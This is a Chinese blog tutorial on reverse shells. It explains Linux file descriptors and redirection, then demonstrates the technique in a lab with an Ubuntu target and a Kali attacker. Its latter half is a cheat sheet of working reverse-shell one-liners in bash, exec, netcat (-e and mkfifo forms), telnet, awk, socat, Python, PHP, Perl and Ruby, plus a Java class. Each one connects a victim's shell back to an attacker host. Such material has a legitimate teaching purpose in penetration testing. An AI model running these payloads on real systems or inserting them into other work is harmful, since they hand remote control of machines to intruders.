反弹shell
John_Frod Lv4

反弹shell

​ 在介绍反弹链接的时候先说明什么是正向链接:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。而反弹shell是指攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。本质上是网络概念的客户端与服务端的角色反转。反弹shell简单来说就是通过命令让靶机的shell的控制权交到攻击者的机器中

可能有人会问:我们都能够在靶机上直接执行命令了,为什么还反弹shell呢?这里有几种情况:

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

  2. 它的ip会动态改变,你不能持续控制。

  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

  4. 靶机执行的命令结果没有回显,无法直接获知运行的状态。

这些情况都可以通过反弹shell来解决。

前置知识

想反弹shell只需要一行或者几行命令,但是这里面涉及到的东西日常比较少用,需要大概了解一下才能弄明白这些命令到底做了什么东西。

文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件,所有执行I/O操作的系统调用都会通过文件描述符。

当Linux启动的时候会默认打开三个文件描述符,分别是:

描述符 用途 stdio流
0 标准输入 stdin
1 标准输出 stdout
2 标准错误 stderr

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

  1. 输入重定向 < <<
  2. 输出重定向 >>>

重点

  1. bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

  2. 如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

  3. < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

  4. 再强调一下,重定向就是针对文件描述符的操作

输入重定向

格式:(注意[n]与<之间没有空格)

1
[n]<word	

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果 n 省略就是0(标准输入)

example:

1
2
3
4
root@ubuntu18:/home/john/Desktop# cat 0<file
hello wordl
root@ubuntu18:/home/john/Desktop# cat <file
hello wordl

解释: 解析器解析到 < 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。

输出重定向

格式:

1
[n]>word	

说明: 将文件描述符 n 重定向到 word 指代的文件(以写的方式打开),如果 n 省略则默认就是 1(标准输出)

example:

1
2
3
4
5
6
root@ubuntu18:/home/john/Desktop# echo hello>file
root@ubuntu18:/home/john/Desktop# cat file
hello
root@ubuntu18:/home/john/Desktop# >file echo world
root@ubuntu18:/home/john/Desktop# cat file
world

标准输出与标准错误输出重定向

格式:

1
2
&> word 
>& word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1

1
2
3
4
5
6
7
8
9
10
11
12
13
root@ubuntu18:/home/john/Desktop# mkdir &> file
root@ubuntu18:/home/john/Desktop# cat file
mkdir: missing operand
Try 'mkdir --help' for more information.
root@ubuntu18:/home/john/Desktop# ls &> file
root@ubuntu18:/home/john/Desktop# cat file
checksite.sql
DVWA-master
file
make-pdf_V0_1_6
sql.php
sz_checksite
test.txt

文件描述符的复制

格式:**(这里所有字符之间不要有空格)**

1
2
[n]<&[m] 
[n]>&[m]

说明:

  1. 这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开,因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

  2. 这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符。

重点:

之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子

  • cmd > file 2>&1

这个是先把标准输出stdout1重定向到file文件中,然后把标准错误stderr2重定向到标准输出所指向的文件中,也就是file。

  • cmd 2>&1 >file

这一个是先把标准错误stderr2重定向到标准输出stdout1所指向的文件,这里默认是屏幕,然后再把标准输出stdout1重定向到file文件中。

exec 绑定重定向

格式:

1
exec [n] </> file/[n]

上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

重点:

格式:

1
[n]<>word

说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@ubuntu18:/home/john/Desktop# exec 3<>file
root@ubuntu18:/home/john/Desktop# ls >&3
root@ubuntu18:/home/john/Desktop# cat file
checksite.sql
DVWA-master
file
make-pdf_V0_1_6
sql.php
sz_checksite
test.txt
root@ubuntu18:/home/john/Desktop# exec 3<>file
root@ubuntu18:/home/john/Desktop# cat <&3
checksite.sql
DVWA-master
file
make-pdf_V0_1_6
sql.php
sz_checksite
test.txt

原理

学完了前置知识,接下来就看看反弹shell的原理部分。

实验环境:

  • 靶机(Ubuntu)IP:192.168.91.144

  • 攻击机(Kali)IP:192.168.91.128

首先在攻击机上开启监听端口:

1
nc -lvp 2333

然后再靶机上执行:

1
bash -i >& /dev/tcp/192.168.91.128/2333 0>&1

然后就可以看到攻击机控制了靶机的shell

image-20210325215552795

命令解释:

  • bash -i

    1. bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

    2. -i 这个参数表示的是产生交互式的shell

  • /dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。

example:

1
2
3
4
5
6
7
8
9
#靶机输入
root@ubuntu18:~# echo hello world > /dev/tcp/192.168.91.128/2333

#攻击机接收
root@kali:~# nc -lvp 2333
listening on [any] 2333 ...
192.168.91.144: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.144] 32960
hello world

example:

1
2
3
4
5
6
7
8
9
10
11
12
#攻击机输入
root@kali:~# nc -lvp 2333
listening on [any] 2333 ...
hello world
192.168.91.144: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.144] 32964
I am a good boy

#靶机接收
root@ubuntu18:~# cat < /dev/tcp/192.168.91.128/2333
hello world
I am a good boy
  • 交互重定向

把上述的两个命令组合起来并使用重定向:

1
bash -i >& /dev/tcp/192.168.91.128/2333

这样就把靶机的shell的标准输出和标准错误给重定向到了攻击机上,这时候我们靶机上已经无法显示东西,但是仍然能够输入命令(只是在靶机上看不见),而命令输出的结果在攻击机上显示。

image-20210325221535454

image-20210325221526338

这样还不够,攻击机还需要获得靶机的输入控制权,于是可以在命令的末尾加上把标准输入stdin0重定向到标准输出或者标准错误输出所指向的文件即可:

1
bash -i >& /dev/tcp/192.168.91.128/2333 0>&1

常见利用语句

Linux

bash

1
2
3
4
bash -i >& /dev/tcp/192.168.91.128/2333 0>&1
bash -i >& /dev/tcp/192.168.91.128/2333 0<&1
bash -i >& /dev/tcp/192.168.91.128/2333 <&2
bash -i >& /dev/tcp/192.168.91.128/2333 0<&2

文件的读/写打开方式对于文件描述符来讲并没有什么区别

exec

1
exec 5<>/dev/tcp/192.168.91.128/2333;cat <&5|while read line;do $line >&5 2>&1;done

解释:

1
exec 5<>/dev/tcp/192.168.91.128/2333;

这一句将文件描述符5重定向到了 /dev/tcp/192.168.91.128/2333 并且方式是读写方式,于是我们就能通过文件描述符对这个socket连接进行操作了。

1
cat <&5|while read line;do $line >&5 2>&1;done

首先从文件描述符5中读取传过来的命令,通过管道符传到后面的命令,从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。并将操作结果的标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

example:

image-20210325223538469

image-20210325223556753

netcat

nc如果版本是有 -e 选项的话就能够直接反弹shell,出于安全原因,Ubuntu自带的nc是不带这个选项的。

1
nc -e /bin/sh 192.168.91.128 2333

如果没有 -e 选项的话还可以使用:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.91.128 2333 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

example:

image-20210326115210794

image-20210326115224913

telnet

攻击机上打开两个终端分别执行监听:

1
2
nc -lvp 4444
nc -lvp 5555

靶机中执行:

1
telnet 192.168.91.128 4444 | /bin/bash | telnet 192.168.91.128 5555

从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。

example:

image-20210326121226183

image-20210326121243836

awk

1
awk 'BEGIN{s="/inet/tcp/0/192.168.91.128/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

socat

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.91.128:2333

Python

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.91.128',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

PHP

1
php -r '$sock=fsockopen("192.168.91.128",5555);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl

1
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

1
ruby -rsocket -e'f=TCPSocket.open("192.168.91.128",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
    public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

注意事项

当我们使用Ubuntu作为服务器,是无法直接通过使用命令执行的函数如system()等去执行bash命令,会显示sh: 1: Syntax error: Bad fd number,这个错误在centos中是不会出现的,这是因为ubuntu从6.10开始,默认使用dash(登录还是用bash),因为dash更快更高效。只要把bash链接到sh即可。

img

Window

由于把Window作为服务器比较少见,在加上里面很多东西我也没见过,这里贴个链接,以备不时之需。

Windows 反弹 shell

参考资料

Linux反弹shell(一)文件描述符与重定向

Linux 反弹shell(二)反弹shell的本质

  • Post title:反弹shell
  • Post author:John_Frod
  • Create time:2021-03-29 15:31:07
  • Post link:https://keep.xpoet.cn/2021/03/29/反弹shell/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.